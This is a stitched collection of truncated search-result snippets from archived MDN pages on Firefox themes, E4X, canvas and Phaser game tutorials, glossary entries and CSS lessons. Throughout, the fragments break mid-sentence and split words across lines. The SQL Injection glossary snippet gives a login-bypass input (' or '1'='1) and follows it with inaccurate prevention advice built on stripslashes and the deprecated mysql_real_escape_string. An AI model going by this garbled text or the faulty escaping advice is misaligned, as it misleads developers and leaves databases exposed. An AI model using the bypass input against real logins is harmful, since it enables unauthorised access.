reviously explained, data is passed from the highest to the lowest layer, with each layer adding more information. because of this, a security control at a higher layer cannot provide protection for lower layers, because the lower layers perform functions of which the higher layers are not aware. security controls that are available at each layer include: application layer. separate controls mu...
Building a Theme - Archive of obsolete content
for mac os x has changed some directories so the guide may be obsolete. setting up the development environment themes and extensions are packaged and distributed in zip files or bundles, with the xpi (pronounced “zippy”) file extension. an example of the content within a typical xpi file for a theme: example.xpi: /install.rdf /chrome.manifest /p
review.png /icon.png /chrome/ browser/ communicator/ global/ mozapps/ we'll want to create a file structure similar to the one above for our tutorial, so let's begin by creating a folder for your theme somewhere on your hard disk (e.g. c:\themes\my_theme\ or ~/themes/my_theme/). inside y...
... global/ mozapps/ we'll want to create a file structure similar to the one above for our tutorial, so let's begin by creating a folder for your theme somewhere on your hard disk (e.g. c:\themes\my_theme\ or ~/themes/my_theme/). inside your new theme folder, create two new empty text files, one called chrome.manifest and the other called install.rdf. the file p
review.png is shown as a p
review of the theme in the themes panel of the add-ons window. the file icon.png is used as an icon in the same panel. we'll leave both of them out for now, unless you have something picked out that you want to use. the remaining directories will be extracted from the default theme. first, you'll want to create a directory somewhere. copy your firefox installation's omni.ja...
Theme changes in Firefox 4 - Archive of obsolete content
uding the menu bar, regardless of the user preference: #navigator-toolbox > toolbar, #addon-bar { counter-reset: largeicons; } creating a theme that works for firefox 4 on mac os x create a new directory (for example, my_theme). inside that, create another new directory chrome. now copy all of the directories from omni.jar mentioned above into it. then copy all of icon.png, install.rdf and p
review.png from <firefox-app-bundle>/contents/macos/extensions/{...} into my_theme. finally, you need to create a chrome.manifest file with the contents: skin browser classic/1.0 chrome/browser/ skin communicator classic/1.0 chrome/communicator/ skin global classic/1.0 chrome/global/ skin mozapps classic/1.0 chrome/mozapps/ this results in the following structure :...
...most likely you must replace all occurences of classic/1.0 in chrome.manifest and install.rdf with some other name. improving your appearance on windows the new -moz-windows-theme media query lets you determine which windows theme is currently in use; this lets y...
Updating an extension to support multiple Mozilla applications - Archive of obsolete content
« p
reviousnext » this article shows how to take an existing extension and update it so that it can be used in additional mozilla applications. we'll build upon the stock watcher extension created in earlier articles in this series, updating it so it can also be used in thunderbird and sunbird (p
revious versions worked only in firefox). if you haven't already created an extension, or would like to refresh your memory, take a look at the p
revious articles in this series: creating a status bar extension creating a dynamic status bar extension adding preferences to an extension localizing an extension download the sample you can download this article's sample code so you can look at it side-by-side with the article, or to use it as a basis for your own extension. download...
...rticles in this series: creating a status bar extension creating a dynamic status bar extension adding preferences to an extension localizing an extension download the sample you can download this article's sample code so you can look at it side-by-side with the article, or to use it as a basis for your own extension. download the sample updating the install manifest the first step is to
revise the extension's install manifest to indicate that it can be installed in thunderbird and sunbird. this is done by adding new <targetapplication> tags to the install.rdf file, like this: <!-- describe the thunderbird versions we support --> <em:targetapplication> <description> <em:id>{3550f703-e582-4d05-9a08-453d09bdfdc6}</em:id> <em:minversion>1.5</em:minversion>...
Using the W3C DOM - Archive of obsolete content
some browsers have non-standard properties, such as internet explorer's document.all[], that are not part of the w3c document object model (dom) standards and may cause javascript errors in standards-compliant browsers. the w3c document object model provides interfaces dom elements to scriptable objects. w3c dom standards are well supported by modern browsers, however the standards are moving target so support for newer features should be tested before use. ...
...he dom whitespace in the dom by david baron element.innerhtml speed and performance comparison between innerhtml attribute and dom's nodevalue when modifying the text data of a text node by gérard talbot interactive dom level 2 characterdata interface attributes and methods tests: other ways to modify (replace, delete, manipulate) efficiently text nodes in the dom by gérard talbot <- p
revious section: using web standards: how next section: developing cross-browser pages -> ...
-moz-stack-sizing - Archive of obsolete content
y, a <xul:stack> will change its size so that all of its child elements are completely visible. for example, moving a child of the stack far to the right will widen the stack so the child remains visible. ...
...e; /* global values */ -moz-stack-sizing: inherit; -moz-stack-sizing: initial; -moz-stack-sizing: unset; if you wish to p
revent the stack from resizing automatically to accommodate its children, you can set -moz-stack-sizing to ignore on the child element. the property is set not on the stack itself, but on the stack's children. this lets you ignore certain children, but not others. note: in p
revious versions of gecko it was possible to work around the problem by setting very large negative bottom and right margins on the stack element and equally large positive bottom and right margins on the children whose size you didn't want to ignore. (the problem does not affect children moved above or to the left of the stack.) initial valuestretch-to-fitapplies toall elementsinheritedyescomputed ...
Descendants and Filters - Archive of obsolete content
instead, it may be nested several levels down. you can access nodes at any depth using the .. operator, or by using the descendants property. for instance var element = <pets> <dogs> <fido color="red"/> <spike color="blue"/> </dogs> </pets>; element..fido.@color = "green"; element..spike.@color = "purple"; changes the colors of both of our pet dogs. the same rules that apply to the . operator apply to the .. operator. that is, if there are multiple descendants of the requested type, an xml list is returned, instead of the normal element. ...
... <fido color="brown"/> <spike color="black"/> <killer color="brown"/> </dogs>; var list = element.*.(@color == "brown"); originally, elements.* returns a list with all 3 dogs in it. however, only fido and killer have their color attributes as brown. the filtering conditional therefore creates a list with just fido and killer as members. « p
reviousnext » ...
Introduction - Archive of obsolete content
for instance var element = <foo/>; is perfectly valid in an e4x enabled browser. variable declarations are not limited to one element, and as with all javascript, can span multiple lines. var element2 = <foo> <bar/> </foo>; additionally, you can specify all of the normal attributes on elements that you would normally include in an xml document. var element3 = <foo baz="1"/>; manipulating elements the goal of e4x was to provide an easier way for javascript programmers to manipulate an xml document, without going through the dom interfaces. however, many of the same functions that you would use in the dom can be used in e4x. ...
...ple call to .toxmlstring() var element1 = <foo/>; var element2 = <bar/>; element1.appendchild(element2); element1.toxmlstring(); this will print <foo> <bar/> </foo> calling tostring() will achieve the same effect in this case, though calling tostring() on an element with only text content will product the text content (e.g., <foo>abc</foo>.tostring(); will simply provide 'abc'). « p
reviousnext » ...
Namespaces - Archive of obsolete content
you can declare the default namespace for your e4x objects by placing the statement: default xml namespace = "http://www.w3.org/1999/xhtml"; within the same scope as your e4x. you can also change namespaces at any time, by repeating the statement. ...
...fo.uri; // returns "http://www.w3.org/1999/xhtml" elements in no namespace return the empty string as their uri. the namespace global constructor is very similar to qname. namespace differs in its tostring method, and in that it has a prefix property instead of a localname property. for further information on namespaces in e4x, see processing xml with e4x. next is the global xml object. « p
reviousnext » ...
The global XML object - Archive of obsolete content
the xml object has several properties that allow you to customize parsing and serialization of e4x. xml elements will remember the settings of the xml object from the time of their creation. extending xml.prototype xml.prototype and xmllist.prototype (xmllist.prototype is actually just xml.prototype) cannot be extended in the same conventional way as other constructors such as object. you can only define methods in xml.prototype and not fields. to add a method to xml.prototype, define xml.prototype.function::methodname or xml.prototype.function::[methodnamestring]. ...
...ading and trailing whitespace in text nodes, which would otherwise be interpreted as text nodes or as part of those text nodes, respectively. prettyprinting true by default. when true, toxmlstring() includes newlines and indenting for the serialization of e4x objects. prettyindent 2 by default. the number of spaces to indent each level in the xml tree. ignored if prettyprinting is false. « p
revious ...
Object.observe() - Archive of obsolete content
after the change was made. type: a string indicating the type of change taking place. one of "add", "update", or "delete". oldvalue: only for "update" and "delete" types. the value before the change. acceptlist the list of types of changes to be observed on the given object for the given callback. if omitted, the array ["add", "update", "delete", "reconfigure", "setprototype", "p
reventextensions"] will be used. return value the object to be observed. description callback is called each time a change is made to obj, with an array of all changes in the order in which they occurred. examples logging all six different types var obj = { foo: 0, bar: 1 }; object.observe(obj, function(changes) { console.log(changes); }); obj.baz = 2; // [{name: 'baz', object: <obj>,...
...e: 2}] object.defineproperty(obj, 'foo', {writable: false}); // [{name: 'foo', object: <obj>, type: 'reconfigure'}] object.setprototypeof(obj, {}); // [{name: '__proto__', object: <obj>, type: 'setprototype', oldvalue: <prototype>}] object.seal(obj); // [ // {name: 'foo', object: <obj>, type: 'reconfigure'}, // {name: 'bar', object: <obj>, type: 'reconfigure'}, // {object: <obj>, type: 'p
reventextensions'} // ] data binding // a user model var user = { id: 0, name: 'brendan eich', title: 'mr.' }; // create a greeting for the user function updategreeting() { user.greeting = 'hello, ' + user.title + ' ' + user.name + '!'; } updategreeting(); object.observe(user, function(changes) { changes.foreach(function(change) { // any time name or title change, update the greeti...
Old Proxy API - Archive of obsolete content
attributes are determined by the given propertydescriptor. the return value of this method is ignored. delete proxy.name delete: function(name) -> boolean delete the named property from the proxy. the boolean return value of this method should indicate whether or not the name property was successfully deleted. ...
...note: the fixed object has the same object identity as the proxy object. if fix() returns undefined, the call throws a typeerror exception. derived traps default implementation refers to the code that is called for that trap when the trap isn't explicitly defined. in these functions, this refers to the handler object. ...
background-size - Archive of obsolete content
august 2009 chrome, iron, icab4, omniweb etc. are based on webkit, like netscape 6-8, seamonkey, camino, flock, fennec, blackbird etc. are based on gecko. both layout engines are mentioned in the table. people should refer to the webkit and gecko version to get the info they need. agreed; we should definitely encourage people to look stuff up by engine rather than browser. these tables should be
revised over time to list gecko, webkit, internet explorer, and opera, with perhaps a tooltip on each that provides details on which browsers are encompassed by each. i'm going to post on dev-mdc momentarily with a proposal on this. (sheppy 07 december 2009) we should encourage web developers to ask for layout engines, not for browsers. [that said, the popularity of chrome let me think of a table row...
... the background-image and border-image say 'inherited: no'. and anyway, it's more the -moz-border-image that seems to be the problem - that gets inherited even if i add in -moz-border-image: none, to <body> or <html>, and setting the height to 100% is more a matter of covering it up rather than stopping it happening (see further examples a, b and c - b and c look ok, but adding margin or padding
reveals that the image applies to both <body> and <html> even though explicitly set to none) user:robertc 2009-08-14 see also bug 509681 and bug 497995. user:jürgen jeka 2009-08-23 ...
Archived open Web documentation - Archive of obsolete content
ngly popular. konqueror is listed below the table, which seems inconsistent. znerd 04 august 2009 browser detection and cross browser support improper browser detection can lead to web maintenance nightmares. rethinking the basics of when and how to detect user agents is crucial to creating maintainable, cross browser web content. this article
reviews several approaches to browser detection, their usefulness in specific circumstances to arrive at a common sense approach to browser detection. browser feature detection an experimental approach to discovering degree of support for standards css obsolete css features displaying notifications (deprecated) ...
...n html as follows: window.importdialog() because opening windows on mobile isn't necessarily appropriate, the firefox mobile team designed the importdialog() method to replace window.opendialog(). instead of opening a new window, it merges the specified xul dialog into the main window. writing javascript for xhtml technical
review completed. editorial
review completed. xforms xforms were envisioned as the future of online forms as envisioned by the w3c. drawing on other w3c standards like xml schema, xpath, and xml events, xforms tried to address some of the limitations of the current html forms model. however, xforms never gained traction and is now considered obsol...
Choosing Standards Compliance Over Proprietary Practices - Archive of obsolete content
xperience across their product offerings. when usability alters too much across products, users complain. apple and microsoft have learned this lesson well. when a macintosh user shifted from mac os 8.x to mac os 9.x, the interface and desktop metaphor was virtually unchanged. users could quickly and easily shift from one version to the next. however, when mac os x was released, apple completely
revamped the interface and desktop metaphor. that change caused quite a rumble through the apple user community. it changed just enough to make it awkward, but not enough to where the user could not adjust. apple received both good and bad press; and they lost some users and won some others over. an example of how consistent user experience wins user loyalty can be seen in how microsoft ensures comm...
... original document information author(s): beth epperson last updated date: 7 november 2014 ...
Fixing Incorrectly Sized List Item Markers - Archive of obsolete content
e used to correct both problems. the following rule is derived from mozilla's html.css file: *|*:-moz-list-bullet, *|*:-moz-list-number {font-size: 1em;} this rule tells gecko-based browsers to use the computed value of font-size for the marker's parent, which is the list item itself. thus the font sizes of the marker and the content will be the same. since this rule is not valid css, it will p
revent the validation of any stylesheet that contains it. one solution is to move the rule into its own stylesheet, and accept that the stylesheet in question will never validate. this might also be a place to put any explorer-specific css-like rules (such as scrollbar styling rules), which also will not validate. authors who are not concerned with making sure the rule applies across all namespaces ...
...t size of the content, use one of the suggested rules. in situations where validation is a priority, segregate the rule into a separate stylesheet so that the rule will not confuse css validators run against the main stylesheet. related links bug 110360 bug 97351 original document information author(s): eric a. meyer, netscape communications last updated date: published 04 oct 2002;
revised 07 mar 2003 copyright information: copyright © 2001-2003 netscape. all rights reserved. note: this reprinted article was originally part of the devedge site. ...
Index - Game development
n't even be able to learn about it and play it. 9 game monetization games, html5, javascript, monetization, advertisements, branding, iap, licensing there are many ways to earn money — everything that applies to the "normal" aaa gaming world can be, more or less, applied to casual html5 games. you might however also focus on selling licenses, doing branding, or earning on a
revenue share basis from the advertisements. it's totally up to you which path you're going to follow. 10 game promotion community, games, javascript, promotion, blog, competitions, youtube any way of promoting your game is good. you have a whole lot of options to chose from with most of them being free, so it's only about your enthusiasm and available time. sometimes you have to...
...ols beginner, canvas, controls, games, javascript, tutorial, mouse the game itself is actually finished, so let's work on polishing it up. we have already added keyboard controls, but we could easily add mouse controls too. 67 move the ball 2d, beginner, canvas, games, javascript, loop, tutorial, movement you already know how to draw a ball from working through the p
revious article, so now let's make it move. technically, we will be painting the ball on the screen, clearing it and then painting it again in a slightly different position every frame to make the impression of movement — just like how movement works with the movies. 68 paddle and keyboard controls beginner, canvas, controls, games, graphics, javascript, tutorial, keyboard the ...
Introduction to game development for the Web - Game development
and smart tvs. marketing and discoverability are improved. you're not limited to promoting your app on someone else's app store. instead, you can advertise and promote your game all over the web as well as other media, taking advantage of the web's inherent linkability and shareability to reach new customers. you have control where it matters: payments. you don't have to hand over 30% of your
revenues to someone else just because your game is in their ecosystem. instead, charge what you want and use whatever payment processing service you like. again with more control, you can update your game whenever you want. no waiting breathlessly for approval while someone hidden within another company decides whether or not your critical bug fix will ship today or tomorrow. control your analytics...
...s power to write the code for your game, or look at using technologies like emscripten or asm.js to easily port your existing games. pointer lock api the pointer lock api lets you lock the mouse or other pointing device within your game's interface so that instead of absolute cursor positioning you receive coordinate deltas that give you more precise measurements of what the user is doing, and p
revent the user from accidentally sending their input somewhere else, thereby missing important action. svg (scalable vector graphics) lets you build vector graphics that scale smoothly regardless of the size or resolution of the user's display. typed arrays javascript typed arrays give you access to raw binary data from within javascript; this lets you manipulate gl textures, game data, or anyth...
Game distribution - Game development
what to do. an html5 game is just another website. you can upload it to a remote server, grab a catchy domain name, and host it yourself. if you want to make money out of game dev, you should secure your source code one way or another against people who could easily take it and sell it as their own. you can concatenate and minify the code to make it smaller and uglify it so it's a lot harder to
reverse engineer your game. another good measure to take is to provide an online demo if you're planning on packaging it and selling it in a closed store like itunes or steam. if you're working on a side project just for fun, then leaving the source open will benefit those who would like to learn from what you've created. you don't even have to worry about looking for a hosting provider as it's poss...
... provider as it's possible to host games on github pages. you'll get free hosting, version control and possible contributors if your project is interesting enough. publishers and portals as the name may suggest, publishers can handle the publishing of your game for you. whether you should go that way or not depends on what your plan is for having your game distributed: do you want to send it whe
rever possible, or do you want to restrict its presence to those who've bought an exclusive license? it's up to you. consider various options, experiment and conclude. publishers will be explained in more detail in the monetization article. there are also independent portals collecting interesting games like html5games.com, gamearter.com, marketjs.com, gameflare, gamedistribution.com or poki where y...
Game promotion - Game development
20-30 other notable game portals with and without api. those portals that have their own api will allow you to authorize users, save their progress and process in-app purchases. you can also sell a full version of the game from inside your browser demo version, which will be a great move considering high competition, some developers even manage to make full browser versions. most portals offer
revenue share deals or will buy non exclusive license. free portals offer traffic, but only the best ones are popular enough to generate
revenues from advertisements on in-app purchases. on the other hand they are a perfect tool to make games visible to a broader audience if you have no budget and limited time. press you can try and reach the press about your game, but bear in mind that they get a...
... your own blog first. it's the easiest way to train your writing skills on your own. youtubers it's a rising trend — don't underestimate the power of youtubers playing your game, talking about it and streaming their experience to give you lots of promotion. you should also be realistic however — don't think this alone will skyrocket your downloads or visits, and be prepared to deal with bad
reviews as well as good ones. there are two options to get coverage from the youtubers: first is you contact them directly and send a link to your game via email or private message. the second is earned in time - if you're known enough the youtubers will contact you and ask for the link or build of your game. this big list of youtubers is a great place to start. you can find youtube and twitch.tv in...
Bounding volume collision detection with THREE.js - Game development
({})); knot.geometry.computeboundingbox(); var knotbbox = new box3( knot.geometry.boundingbox.min, knot.geometry.boundingbox.max); note: the boundingbox property takes the geometry itself as reference, and not the mesh. so any transformations such as scale, position, etc. applied to the mesh will be ignored while computing the calculating box. a more simple alternative that fixes the p
revious issue is to set those boundaries later on with box3.setfromobject, which will compute the dimensions taking into account a 3d entity's transformations and any child meshes as well. var knot = new three.mesh( new three.torusknotgeometry(0.5, 0.1), new meshnormalmaterial({})); var knotbbox = new box3(new three.vector3(), new three.vector3()); knotbbox.setfromobject(knot); instantiating s...
...est); return distance < (this.radius * this.radius); }; demos we have prepared some live demos to demonstrate these techniques, with source code to examine. point vs. box and sphere box vs. box and sphere sphere vs. box and sphere using boxhelper as an alternative to using raw box3 and sphere objects, three.js has a useful object to make handling bounding boxes easier: boxhelper (p
reviously boundingboxhelper, which has been deprecated). this helper takes a mesh and calculates a bounding box volume for it (including its child meshes). this results in a new box mesh representing the bounding box, which shows the bounding box's shape, and can passed to the p
reviously seen setfromobject method in order to have a bounding box matching the mesh. boxhelper is the recommended way to...
Desktop mouse and keyboard controls - Game development
that way we can broaden the list of supported platforms. we'll look at this below. it's also easier to test control-independent features like gameplay on desktop if you develop it there, so you don't have to push the files to a mobile device every time you make a change in the source code. note: the captain rogers: battle at andromeda is built with phaser and managing the controls is phaser-based, but it could also be done in pure javascript. ...
...e — by capturing key codes and performing actions. ...
Mobile touch controls - Game development
we can get the first touch (e.touches[0], our example is not multitouch-enabled), extract the pagex and pagey variables and set the player's ship position on the screen by subtracting the canvas offset (distance from the canvas and the edge of the screen) and half the pl...
... we can get the first touch (e.touches[0], our example is not multitouch-enabled), extract the pagex and pagey variables and set the player's ship position on the screen by subtracting the canvas offset (distance from the canvas and the edge of the screen) and half the player's width and height. to see if it's working correctly we can output the x and y positions using the output element. the p
reventdefault() function is needed to p
revent the browser from moving — without it you'd have the default behaviour, and the canvas would be dragged around the page, which would show the browser scroll bars and look messy. touch events in phaser we don't have to do this on our own; frameworks like phaser offer systems for managing touch events for us — see managing the touch events. pointer th...
Unconventional controls - Game development
implementing mobile and desktop controls is recommended is a must, and gamepad controls add that extra experience. but imagine going even further — in this article we will explore various unconventional ways to control your web game, some more unconventional than others. tv remote playing games on a tv screen doesn't always have to be done through consoles. there's already a gamepad api working on the desktop computers, so we can imitate the experience, but we can go even further. modern smart tvs can handle html5 games, because they have a built-in browser that can be used as a gaming platform. ...
...(); as the description says: this gpio driver allows you to connect a 10 mohm resistor to a digital pin on your arduino or raspberry pi to control your robots with bananas, clay, or drawable circuitry. summary i hope you liked the experiments — if you have any others that you think might interest other people, feel free to add details of them here. and remember: have fun making games! p
revious overview: control mechanisms ...
Collision detection - Game development
you can find the source code as it should look after completing this lesson at gamedev-canvas-workshop/lesson7.html. we have the bricks appearing on the screen already, but the game still isn't that interesting as the ball goes through them. we need to think about adding collision detection so it can bounce off the bricks and break them. it's our decision how to implement this, of course, but it can be tough to calculate whether the ball is touching the rectangle or not because there are no helper functions in canvas for this. for the sake of this tutorial we will do it the easiest way possible. we will check if the center of the ball is colliding with any of the given bricks. ...
...he drawpaddle() call: collisiondetection(); compare your code the collision detection of the ball is now checked on every frame, with every brick. now we can destroy bricks! :- exercise: change the color of the ball when it hits the brick. next steps we are definitely getting there now; let's move on! in the eighth chapter we will be looking at how to track the score and win. « p
reviousnext » ...
Finishing up - Game development
you can find the source code as it should look after completing this lesson at gamedev-canvas-workshop/lesson10.html. there's always room for improvements in any game we write. for example, we can offer more than one life to the player. they could make a mistake or two and still be able to finish the game. we could also improve our code rendering. giving the player some lives implementing lives is quite straightforward. ...
... logic behind simple 2d games. now it's a good time to learn some frameworks and continue game development. you can check out this series' counterpart, 2d breakout game using phaser or the cyber orb built in phaser tutorial. you can also look through the games section on mdn for inspiration and more knowledge. you could also go back to this tutorial series' index page. have fun coding! « p
revious ...
Game over - Game development
you can find the source code as it should look after completing this lesson at gamedev-canvas-workshop/lesson5.html. it's fun to watch the ball bouncing off the walls and be able to move the paddle around, but other than that the game does nothing and doesn't have any progression or end goal. it would be good from the gameplay point of view to be able to lose. the logic behind losing in breakout is simple. if you miss the ball with the paddle and let it reach the bottom edge of the screen, then it's game over. implementing game over let's try to implement game over in our game. ...
...re's the working code for you to compare yours against: exercise: make the ball move faster when it hits the paddle. next steps we're doing quite well so far and our game is starting to feel a lot more worth playing now you can lose! but it is still missing something. let's move on to the sixth chapter — build the brick field — and create some bricks for the ball to destroy. « p
reviousnext » ...
Animations and tweens - Game development
you can find the source code as it should look after completing this lesson at gamedev-phaser-content-kit/demos/lesson14.html. to make the game look more juicy and alive we can use animations and tweens. this will result in a better, more entertaining experience. let's explore how to implement phaser animations and tweens in our game. animations in phaser, animations, involve taking a spritesheet from an external source and displaying the sprites sequentially. as an example, we will make the ball wobble when it hits something. first of all, grab the spritesheet from github and save it in your /img directory. ...
...a second using elastic easing, will start automatically, and have a delay of 100 miliseconds. compare your code you can check the finished code for this lesson in the live demo below, and play with it to understand better how it works: next steps animations and tweens look very nice, but we can add even more to our game — in the next section we'll look at handling button inputs. « p
reviousnext » ...
Buttons - Game development
you can find the source code as it should look after completing this lesson at gamedev-phaser-content-kit/demos/lesson15.html. instead of starting the game right away we can leave that decision to the player by adding a start button they can press. let's investigate how to do that. new variables we will need a variable to store a boolean value representing whether the game is currently being played or not, and another one to represent our button. add these lines below your other variable definitions: var playing = false; var startbutton; loading the button spritesheet we can load the button spritesheet the same way we loaded the ball's wobble animation. ...
... is loaded and prepared, but before the start of the actual game. compare your code you can check the finished code for this lesson in the live demo below, and play with it to understand better how it works: next steps the last thing we will do in this article series is make the gameplay even more interesting by adding some randomization to the way the ball bounces off the paddle. « p
reviousnext » ...
Collision detection - Game development
you can find the source code as it should look after completing this lesson at gamedev-phaser-content-kit/demos/lesson10.html. now onto the next challenge — the collision detection between the ball and the bricks. luckily enough we can use the physics engine to check collisions not only between single objects (like the ball and the paddle), but also between an object and the group. brick/ball collision detection the physics engine makes everything a lot easier — we just need to add two simple pieces of code. ...
...n the most fun and interesting parts of making a game. compare your code you can check the finished code for this lesson in the live demo below, and play with it to understand better how it works: next steps we can hit the bricks and remove them, which is a nice addition to the gameplay already. it would be even better to count the destroyed bricks increment the score as a result. « p
reviousnext » ...
Initialize the framework - Game development
after completing this tutorial you can find the source code for this section at gamedev-phaser-content-kit/demos/lesson01.html. before we can start writing the game's functionality, we need to create a basic structure to render the game inside. this can be done using html — the phaser framework will generate the required <canvas> element. the game's html the html document structure is quite simple, as the game will be rendered entirely on the <canvas> element generated by the framework. ...
... care of preloading the assets create is executed once when everything is loaded and ready update is executed on every frame. compare your code here's the full source code of the first lesson, running live in a jsfiddle: next steps now we've set up the basic html and learned a bit about phaser initialization, let's continue to the second lesson and learn about scaling. « p
reviousnext » ...
Load the assets and print them on screen - Game development
you can find the source code as it should look after completing this lesson at gamedev-phaser-content-kit/demos/lesson03.html. our game will feature a ball rolling around the screen, bouncing off a paddle, and destroying bricks to earn points — familiar, huh? in this article we'll look at how to add sprites into our gameworld. having a ball let's start by creating a javascript variable to represent our ball. add the following line between the game initialization code (our var game... block) and the preload() function: var ball; note: for the sake of this tutorial, we will use global variables. ...
...the asset we defined earlier. ...
Move the ball - Game development
you can find the source code as it should look after completing this lesson at gamedev-phaser-content-kit/demos/lesson04.html. we have our blue ball printed on screen, but it's doing nothing — it would be cool to make it move somehow. this article covers how to do just that. updating the ball's position on each frame remember the update() function and its definition? the code inside it is executed on every frame, so it's a perfect place to put the code that will update the ball's position on screen. ...
...he walls. ...
Randomizing gameplay - Game development
you can find the source code as it should look after completing this lesson at gamedev-phaser-content-kit/demos/lesson16.html. our game appears to be completed, but if you look close enough you'll notice that the ball is bouncing off the paddle at the same angle throughout the whole game. this means that every game is quite similar. to fix this and improve playability we should make the rebound angles more random, and in this article we'll look at how. making rebounds more random we can change the ball's velocity depending on the exact spot it hits the paddle, by modifying the x velocity each time the ballhitpaddle() function is run using a line along the lines of the below. ...
...ages and use your own. ...
The score - Game development
« p
reviousnext » this is the 11th step out of 16 of the gamedev phaser tutorial. you can find the source code as it should look after completing this lesson at gamedev-phaser-content-kit/demos/lesson11.html. having a score can also make the game more interesting — you can try to beat your own highscore, or your friend's. in this article we'll add a scoring system to our game. we will use a separate variable for storing the score and phaser's text() method to print it out onto the screen. new variables add two new variables right after the p
reviously defined ones: // ... var scoretext; var score = 0; adding score text to the game display now add this line at the end of the create() function: scoretext = game.add.text(5, 5, 'points: 0', { font: '18px arial', fil...
...dex.html and check that the score updates on every brick hit. compare your code you can check the finished code for this lesson in the live demo below, and play with it to understand better how it works: next steps we now have a scoring system, but what's the point of playing and keeping score if you can't win? let's see how we can add a victory state, allowing us to win the game. « p
reviousnext » ...
Win the game - Game development
you can find the source code as it should look after completing this lesson at gamedev-phaser-content-kit/demos/lesson12.html. implementing winning in our game is quite easy: if you happen to destroy all the bricks, then you win. ...
...g message, restarting the game once the alert is dismissed. compare your code you can check the finished code for this lesson in the live demo below, and play with it to understand better how it works: next steps both losing and winning are implemented, so the core gameplay of our game is finished. now let's add something extra — we'll give the player three lives instead of one. « p
reviousnext » ...
Mutable - MDN Web Docs Glossary: Definitions of Web-related terms
hence the need for garbage collection.) a mutable object is an object whose state can be modified after it is created. immutables are the objects whose state cannot be changed once the object is created. strings and numbers are immutable. ...
..."world"; // we are now appending "world" to the existing value. on appending the "immutablestring" with a string value, following events occur: existing value of "immutablestring" is retrieved "world" is appended to the existing value of "immutablestring" the resultant value is then allocated to a new block of memory "immutablestring" object now points to the newly created memory space p
reviously created memory space is now available for garbage collection. learn more general knowledge immutable object on wikipedia ...
SQL Injection - MDN Web Docs Glossary: Definitions of Web-related terms
ry's password section. password=' anything 'or'1'='1 ' the password is not 'anything', hence password=anything results in false, but '1'='1' is a true statement and hence returns a true value. finally, due to the or operator, the value ( false or true ) is true, so authentication bypasses successfully. just due to a simple string (magical string) the entire database is compromised. ...
...ng (magical string) the entire database is compromised. how to p
revent before executing the queries for the user credentials, make some changes like the following: $id = $_get['id'] (1) $id = stripslashes($id) (2) $id = mysql_real_escape_string($id) so due to (1) each single quote (') in the input string is replaced with double quotes ("), and due to (2) before every (') it adds (/). the
revised magical string fails to bypass the authentication, and your database stays secure. learn more general knowledge sql injection on wikipedia explanation of sql injection on owasp (open web application security project) ...
Cacheable - MDN Web Docs Glossary: Definitions of Web-related terms
la.mozilla.org/show_bug.cgi?id=109553.) other methods, like put or delete are not cacheable and their result cannot be cached. the status code of the response is known by the application caching, and it is considered cacheable. the following status code are cacheable: 200, 203, 204, 206, 300, 301, 404, 405, 410, 414, and 501. there are specific headers in the response, like cache-control, that p
revents caching. note that some non-cacheable requests/responses to a specific uri may invalidate p
reviously cached responses on the same uri. for example, a put to pagex.html will invalidate all cached get or head requests to the same uri. when both, the method of the request and the status of the response, are cacheable, the response to the request can be cached: get /pagex.html http/1.1 (…) ...
...ri. ...
lossy compression - MDN Web Docs Glossary: Definitions of Web-related terms
therefore, content that has undergone lossy compression should generally not be further edited. lossy compression is widely used in image formats. although there is no obvious difference quality between the two images above, the size of the second image has been significantly reduced, using lossy compression. ...
...therefore, content that has undergone lossy compression should generally not be further edited. lossy compression is widely used in image formats. although there is no obvious difference quality between the two images above, the size of the second image has been significantly reduced, using lossy compression. ...
Assessment: Accessibility troubleshooting - Learn web development
objective: to test basic knowledge of accessibility fundamentals. starting point to get this assessment started, you should go and grab the zip containing the files that comprise the example. decompress the contents into a new directory somewhere on your local computer. alternatively, you could use a site like jsbin or glitch to do your assessment. you could paste the html, css, and javascript into one of these online editors. ...
... stuck and need help, or want an assessment. a link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). ...
Organizing your CSS - Learn web development
in this article we will take a brief look at some best practices for writing your css to make it easily maintainable, and some of the solutions you will find in use by others to help improve maintainability. ...
... many ways in which your exploration of css can continue from this point. to learn more about layout in css, see the learn css layout section. you should also now have the skills to explore the rest of the mdn css material. you can look up properties and values, explore our css cookbook for patterns to use, and read more in some of the specific guides such as our guide to css grid layout. ...
Attribute selectors - Learn web development
in css you can use attribute selectors to target elements with certain attributes. this lesson will show you how to use these very useful selectors. prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, html basics (study introduction to html), and an idea of how css works (study css first steps.) objective: to learn what attribute selectors are and how to use them. ...
...ist items. note: there is also a newer value s, which will force case-sensitive matching in contexts where matching is normally case-insensitive, however this is less well supported in browsers and isn't very useful in an html context. next steps now we are done with attribute selectors, you can continue on to the next article and read about pseudo-class and pseudo-element selectors. ...
Type, class, and ID selectors - Learn web development
prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, html basics (study introduction to html), and an idea of how css works (study css first steps.) objective: to learn about the different css selectors we can use to apply css to a document. type selectors a type selector is sometimes referred to as a tag name selector or element selector, because it selects an html tag/element in your document. in the example below we have used the span, em and strong selectors. ...
...r selectors. this can make them difficult to deal with. in most cases it is preferable to add a class to the element rather than use an id, however if using the id is the only way to target the element — perhaps because you do not have access to the markup and so cannot edit it — this will work. in the next article we'll continue exploring selectors by looking at attribute selectors. ...
CSS selectors - Learn web development
there are a wide variety of css selectors available, allowing for fine-grained precision when selecting elements to style. in this article and its sub-articles we'll run through the different types in great detail, seeing how they work. prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, html basics (study introduction to html), and an idea of how css works (study css first steps.) objective: to learn how css selectors work in detail. what is a selector? you have met selectors already. a css selector is the first part of a css rule. ...
...llowing for example selects paragraphs that are direct children of <article> elements using the child combinator (>): article > p { } next steps you can take a look at the reference table of selectors below for direct links to the various types of selectors in this learn section or on mdn in general, or continue on to start your journey by finding out about type, class, and id selectors. p
revious overview: building blocks next reference table of selectors the below table gives you an overview of the selectors you have available to use, along with links to the pages in this guide which will show you how to use each type of selector. i have also included a link to the mdn page for each selector where you can check browser support information. you can use this as a reference to com...
Test your skills: backgrounds and borders - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks. if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. backgrounds and borders 1 in this task we want you to add a background, border, and some simple styling to a page header: give the box a 5px black solid border, with rounded corners of 10px. ...
